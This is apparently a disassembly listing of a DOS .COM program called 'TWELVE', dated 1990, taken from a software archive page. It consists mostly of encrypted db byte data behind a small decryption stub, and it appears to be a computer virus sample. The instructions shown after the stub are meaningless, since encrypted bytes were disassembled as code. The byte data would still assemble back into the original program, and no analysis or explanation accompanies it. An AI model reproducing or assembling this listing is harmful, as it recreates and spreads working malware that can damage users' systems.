home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ TWELVE ██
- ;██ ██
- ;██ Created: 26-Apr-90 ██
- ;██ Version: ██
- ;██ Passes: 5 Analysis Options on: H ██
- ;██ ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_1e equ 3366h ; (7415:3366=0)
- data_2e equ 7EF7h ; (7415:7EF7=0)
- data_3e equ 8C8Dh ; (7415:8C8D=0)
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- twelve proc far
-
- start:
- ;* jmp $+4h ;*
- db 0E9h, 1, 0
- db 21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
- db 2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
- db 0B9h, 71h, 5, 31h, 0Dh, 2Bh
- db 0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
- db 0D8h, 90h, 33h, 0D1h, 31h, 5
- db 46h, 43h, 0F8h, 40h, 90h, 47h
- db 0E2h, 0E9h, 40h, 40h, 61h, 1Fh
- db 6Eh, 3, 0C9h, 82h, 6Fh, 36h
- db 0D1h, 5Ah, 8Bh, 33h, 0C3h, 6Bh
- db 0D5h, 0D7h, 85h, 0CCh, 17h, 4Eh
- db 0E9h, 0F3h, 7Ch, 0B1h, 29h, 52h
- db 0FBh, 0FFh, 74h, 0B5h, 2Bh, 56h
- db 0F9h, 0F3h, 64h, 0A9h, 0Dh, 32h
- db 9Bh, 97h, 1Ch, 0D5h, 7Fh, 64h
- db 82h, 7Bh, 0ADh, 94h, 1Eh, 61h
- db 6Ch, 29h, 7Dh, 0F3h, 4Ah, 0F7h
- db 0F4h, 4Ah, 0FEh, 0FFh, 1, 0
- db 51h, 7Ch, 7, 47h, 0DDh, 22h
- db 0CCh, 0EFh, 0D5h, 1Bh, 0F2h, 81h
- db 0DEh, 36h, 5Fh, 0D1h, 0D3h, 63h
- db 0FAh, 1Eh, 0CCh, 23h, 0E1h, 76h
- db 0ABh, 0Bh, 39h, 5Ch, 0DEh, 0B9h
- db 3, 0F4h, 7Eh, 21h, 74h, 31h
- db 0Ch, 0EFh, 59h, 9, 0D9h, 37h
- db 12h, 44h, 92h, 18h, 30h, 12h
- db 0ABh, 16h, 14h, 4Ch, 0BAh, 6Eh
- db 2Bh, 6Fh, 0F5h, 5Bh, 4Ch, 0F3h
- db 7Dh, 0Dh, 53h, 4Ah, 0F1h, 0F7h
- db 59h, 5Dh, 98h, 2, 0Fh, 29h
- db 8Bh, 0D0h, 5Ch, 0ADh, 29h, 54h
- db 3, 52h, 13h, 76h, 0D5h, 58h
- db 13h, 4, 0D7h, 63h, 39h, 74h
- db 8Bh, 7, 0FDh, 8Ah, 0F9h, 1Ah
- db 0D1h, 0F5h, 39h, 0EDh, 0BBh, 0C9h
- db 63h, 8Dh, 0B9h, 97h, 1Eh, 6Dh
- db 0BBh, 14h, 0EBh, 67h, 14h, 50h
- db 34h, 93h, 41h, 0D3h, 0D6h, 87h
- db 0FEh, 0CBh, 0F5h, 87h, 0F9h, 55h
- db 16h, 7, 39h, 49h, 0F5h, 0F3h
- db 0B6h, 0F0h, 64h, 0A5h, 21h, 57h
- db 28h, 2Ch, 0A9h, 0DCh, 6Dh, 8Fh
- db 7Fh, 5Eh, 0ABh, 21h, 66h, 1Ch
- db 6Ch, 35h, 63h, 0F7h, 4Ch, 0F5h
- db 0FDh, 0Ch, 59h, 78h, 6, 43h
- db 0BBh, 78h, 3Bh, 6Eh, 2Fh, 0B2h
- db 15h, 0AEh, 16h, 13h, 0D0h, 3Eh
- db 0F6h, 15h, 85h, 0DBh, 0A1h, 5Ch
- db 20h, 0CEh, 9Eh, 0F0h, 1Eh, 68h
- db 39h, 78h, 79h, 8, 0FDh, 0D7h
- db 0EAh, 0CBh, 0EAh, 87h, 0, 6Eh
- db 51h, 28h, 0D5h, 0D7h, 2Dh, 0A7h
- db 38h, 5Ch, 61h, 28h, 0D5h, 0DDh
- db 0A1h, 0Dh, 66h, 91h, 1Fh, 0A5h
- db 74h, 31h, 0Ah, 0F3h, 51h, 55h
- db 0C1h, 0F3h, 80h, 0Dh, 0ABh, 4Bh
- db 0EDh, 0ACh, 66h, 45h, 14h, 55h
- db 34h, 93h, 50h, 0BEh, 14h, 0DDh
- db 63h, 2Fh, 94h, 0D0h, 6Ch, 0Eh
- db 13h, 0Ch, 7Eh, 21h, 74h, 31h
- db 5Ch, 0FFh, 30h, 0D2h, 4Dh, 0F5h
- db 0C8h, 78h, 3Bh, 6Eh, 2Fh, 72h
- db 0D5h, 1Ah, 0F4h, 0A0h, 0D9h, 36h
- db 0B5h, 0D2h, 19h, 5Ch, 0Dh, 6Bh
- db 0EDh, 0B8h, 20h, 0D2h, 7Ch, 0B9h
- db 0Dh, 7Ah, 0ABh, 5, 49h, 0CCh
- db 4Ch, 0F4h, 0F5h, 78h, 3Bh, 6Eh
- db 2Fh, 83h, 12h, 0DDh, 33h, 0D8h
- db 41h, 31h, 0, 0D8h, 0E7h, 0D8h
- db 11h, 14h, 26h, 0ADh, 0DAh, 0E2h
- db 39h, 8Fh, 35h, 0F1h, 0BFh, 33h
- db 0CCh, 7Bh, 0F5h, 0F7h, 4Fh, 0F3h
- db 0EDh, 22h, 0CCh, 0A0h, 0D6h, 3Eh
- db 0C0h, 0D2h, 11h, 55h, 4, 1Fh
- db 0Ah, 83h, 1Dh, 82h, 21h, 6Ah
- db 45h, 0F0h, 0F5h, 3Bh, 15h, 9Ah
- db 79h, 6Bh, 0FDh, 72h, 34h, 2Ah
- db 0F1h, 3Fh, 89h, 0, 13h, 5Fh
- db 0E1h, 62h, 7Ah, 3Ch, 9Eh, 53h
- db 0Fh, 88h, 98h, 23h, 0B9h, 5Eh
- db 0CCh, 0DCh, 3Ch, 3Fh, 0Bh, 80h
- db 0A3h, 3, 31h, 3Eh, 0D4h, 0D7h
- db 0F4h, 3Bh, 3Dh, 0B0h, 0ABh, 1Fh
- db 21h, 34h, 17h, 28h, 0D5h, 1Fh
- db 0F9h, 0FEh, 18h, 0D7h, 19h, 1Bh
- db 90h, 95h, 5, 23h, 6Ah, 0FDh
- db 71h, 0F0h, 0F5h, 0AAh, 31h, 0FFh
- db 7Ch, 32h, 0D2h, 0F6h, 7Ch, 7Fh
- db 0ECh, 0EFh, 21h, 83h, 6Dh, 0EDh
- db 15h, 98h, 5Bh, 0EFh, 0D1h, 2Dh
- db 0A2h, 51h, 0FFh, 9Ah, 69h, 0EBh
- db 0EDh, 3Fh, 1Ch, 95h, 0Bh, 3Fh
- db 0FEh, 7Dh, 12h, 2Eh, 0F6h, 3Bh
- db 25h, 0A8h, 33h, 6Eh, 2Eh, 0F4h
- db 0D5h, 10h, 93h, 35h, 0DAh, 0DFh
- db 35h, 0C7h, 0D4h, 5Eh, 0ABh, 3Dh
- db 6Ch, 2Ch, 0FDh, 0F3h, 39h, 0D1h
- db 14h, 0B5h, 1Bh, 7Ch, 0FDh, 3Fh
- db 0B9h, 53h, 0F4h, 0F2h, 6Ch, 2Ch
- db 0FDh, 93h, 59h, 20h, 0CAh, 6Bh
- db 9Dh, 26h, 9Fh, 93h, 1Eh, 0E1h
- db 79h, 5Fh, 17h, 94h, 2Bh, 0D6h
- db 0F5h, 4, 51h, 78h, 0BBh, 11h
- db 0D6h, 34h, 0BAh, 5Dh, 7Eh, 0BDh
- db 1, 6Eh, 4, 65h, 0D6h, 0ECh
- db 1Ah, 0A7h, 0D4h, 65h, 0DDh, 0D3h
- db 3Dh, 61h, 0D5h, 38h, 0, 23h
- db 66h, 85h, 19h, 0A1h, 7Eh, 0Dh
- db 31h, 5Eh, 0E5h, 0CAh, 0F5h, 76h
- db 33h, 0A4h, 0EDh, 23h, 0D1h, 0AEh
- db 0D3h, 18h, 16h, 99h, 0CBh, 0EDh
- db 0B8h, 4Ch, 4Fh, 0FEh, 86h, 12h
- db 0E9h, 0E9h, 0EDh, 0A3h, 0Ah, 15h
- db 39h, 1Ah, 66h, 0DCh, 0C0h, 1Fh
- db 0F1h, 3Bh, 96h, 0E5h, 0F1h, 57h
- db 0EDh, 91h, 6Ch, 0D7h, 0D5h, 69h
- db 0DDh, 0DFh, 10h, 0F2h, 0A7h, 0D8h
- db 61h, 93h, 54h, 0ECh, 0EDh, 3Fh
- db 21h, 0A8h, 23h, 72h, 3Fh, 6Ch
- db 0FDh, 3Eh, 0D4h, 7Ch, 0A3h, 9
- db 66h, 0A1h, 15h, 12h, 74h, 77h
- db 6Ah, 12h, 54h, 80h, 9Dh, 2Bh
- db 94h, 0C0h, 58h, 0B2h, 59h, 0D1h
- db 20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
- db 0B3h, 9, 76h, 25h, 74h, 35h
- db 54h, 0F3h, 20h, 0CEh, 0F3h, 58h
- db 83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
- db 0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
- db 2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
- db 3, 78h, 18h, 40h, 0FDh, 0F2h
- db 0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
- db 0A3h, 0E3h, 94h, 0E6h, 29h, 92h
- db 9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
- db 0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
- db 5, 76h, 14h, 0F4h, 0FDh, 0AEh
- db 0BCh, 0C0h, 35h, 0Eh, 26h, 23h
- db 0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
- db 0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
- db 0DEh, 7, 5Eh, 12h
- loc_1:
- cmp al,0Fh
- mov bp,7E24h
- aas ; Ascii adjust
- lodsw ; String [si] to ax
- mov bl,2Ah ; '*'
- cld ; Clear direction
- mov bx,7E1Fh
- pop es
- push es
- push di
- db 2Eh, 55h, 0EDh, 93h, 7Dh, 49h
- db 6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
- db 0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
- db 0BEh, 78h, 29h, 0A7h, 0A3h
- db 78h
-
- locloop_2:
- mov bh,ch
- add dh,ds:data_2e[si] ; (7415:7EF7=0)
- adc word ptr [bx],41h
- esc 7,cl ; coprocessor escape
- pop cx
- xchg ax,dx
- rcr cl,1 ; Rotate thru carry
- rcl byte ptr [di-68h],cl ; Rotate thru carry
- esc 2,ds:data_3e[di] ; (7415:8C8D=0) coprocessor escape
- sbb al,ds:data_1e[bx+si] ; (7415:3366=0)
- loc_3:
- mov bp,7EA5h
- adc word ptr [bx+di],0CD5Fh
- sti ; Enable interrupts
- ja loc_1 ; Jump if above
- db 0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
- db 0B3h
- db 4Bh, 4Dh
- loc_5:
- esc 3,[bp+si+4E0Eh] ; coprocessor escape
- movsb ; Mov [si] to es:[di]
- push ds
- adc [bp+0Bh],al
- popf ; Pop flags
- push si
- add al,dl
- db 6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
- db 76h, 0B9h, 11h, 0DEh, 90h, 0F7h
- db 56h, 0F7h, 0EDh
- loc_6:
- loopz locloop_2 ; Loop if zf=1, cx>0
-
- ;* jo loc_4 ;*Jump if overflow=1
- db 70h, 0D3h
- xlat [bx] ; al=[al+[bx]] table
- jbe loc_5 ; Jump if below or =
- esc 5,[si] ; coprocessor escape
- test cx,sp
- dec ax
- adc al,49h ; 'I'
- int 0BDh
- push di
- in ax,dx ; port 0, DMA-1 bas&add ch 0
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- call $-4A7Fh
- sbb ax,5E05h
- push bp
- jl loc_3 ; Jump if <
- das ; Decimal adjust
- dec si
- ;* jmp short loc_7 ;*(04BD)
- db 0EBh, 0EDh
- db 18h, 0D3h, 49h, 36h, 95h, 9Dh
- db 14h, 0DBh, 71h, 36h, 99h, 95h
- db 68h, 0B5h, 0F0h, 70h, 30h, 4Ah
- db 0DCh, 0F4h, 4Bh, 66h, 0E5h, 44h
- db 82h, 0F0h, 0Fh, 9, 0B5h, 0A6h
- db 7Fh, 0DCh, 0D6h, 0E4h, 0DAh, 0E6h
- db 2, 0EEh, 6, 0F6h, 0Bh, 0FEh
- db 0Eh, 0FEh
- db 9
- loc_8:
- jge loc_6 ; Jump if > or =
- stosb ; Store al to es:[di]
- mov al,0B3h
- mov ch,0Dh
- mov ax,1D6Dh
- sbb dh,al
- cmc ; Complement carry
- hlt ; Halt processor
- div al ; al, ah rem = ax/reg
- jmp short loc_8 ; (04FD)
- db 0E4h, 12h, 1Fh, 16h, 1Eh, 12h
- db 11h, 1Eh, 10h, 11h, 1Bh, 15h
- db 5, 11h, 0FFh, 0EDh, 0F9h, 0F1h
- db 0E3h, 0F5h, 0EDh, 0F1h, 0E7h, 0FEh
- db 0E1h, 0F2h, 0E8h, 0F6h, 0EBh, 0F2h
- db 0F2h, 0EEh, 0CDh, 0D2h, 0F4h, 0D6h
- db 0F7h, 0D2h, 0FEh, 0DEh, 0F9h, 58h
- db 9Bh, 3Fh, 5Eh, 95h, 7, 64h
- db 13h, 72h, 1Ah, 41h, 0F6h, 1Bh
- db 0DCh, 0FFh, 49h, 0B3h, 4Ch, 1Bh
- db 0F1h, 78h, 3Bh, 6Eh, 7, 4Eh
- db 96h, 5Ah, 0B4h, 0Fh, 0CDh, 14h
- db 0D3h, 7Bh, 1Eh, 0D1h, 7Fh, 18h
- db 13h, 6Eh, 2, 45h, 0F6h, 1Fh
- db 0F6h, 0F3h, 0A5h, 62h, 3Eh, 0C2h
- db 0F0h, 0C6h, 0F8h, 0B3h, 0AAh, 0Dh
- db 15h, 10h, 61h, 0D7h, 18h, 3Ah
- db 0DCh, 0DFh, 0F7h, 0FDh, 96h, 98h
- db 98h, 0D3h, 0BDh, 0AEh, 0B9h, 0BBh
- db 0C8h, 0B6h, 0B2h, 0B2h, 0AFh, 0D1h
- db 0BEh, 0BCh, 0B8h, 0F7h, 0F5h, 0BEh
- db 0EDh, 0EFh, 0EDh, 13h, 14h, 16h
- db 14h, 12h, 1Ch, 1Eh, 1Ch, 12h
- db 14h, 16h, 14h, 12h, 0ECh, 0EFh
- db 0EDh, 0F3h, 0F5h, 0F7h, 0F5h, 0F3h
- db 0FDh, 0FFh, 0FDh, 0F3h, 0F5h, 0F7h
- db 0F5h, 0F3h, 0EDh, 0EFh, 0EDh, 0D3h
- db 0D5h, 0D7h, 0D5h, 0D3h, 0DDh, 0DFh
- db 0DDh, 0D3h, 0D5h, 0D7h, 0D5h, 0D3h
- db 0EDh, 0EFh, 0EDh, 0F3h, 0F5h, 0F4h
- db 0CAh, 0CCh, 0C2h, 0C0h, 0C2h, 0CCh
- db 0CAh, 0C8h, 0B6h, 0BCh, 0A0h, 0ECh
- db 0E3h, 93h, 95h, 97h, 29h, 5Fh
- db 0B6h, 9Fh, 0BDh, 58h, 0Fh, 0Dh
- db 81h, 97h, 0EDh, 0EFh, 0EDh, 0B2h
- db 0B2h, 0B6h, 0A7h, 0DDh, 0BEh, 0B0h
- db 0B0h, 0F3h, 0F5h, 0BAh, 0F5h, 0F3h
- db 0EDh, 0EFh, 0EDh
-
- twelve endp
-
- seg_a ends
-
-
-
- end start
-
-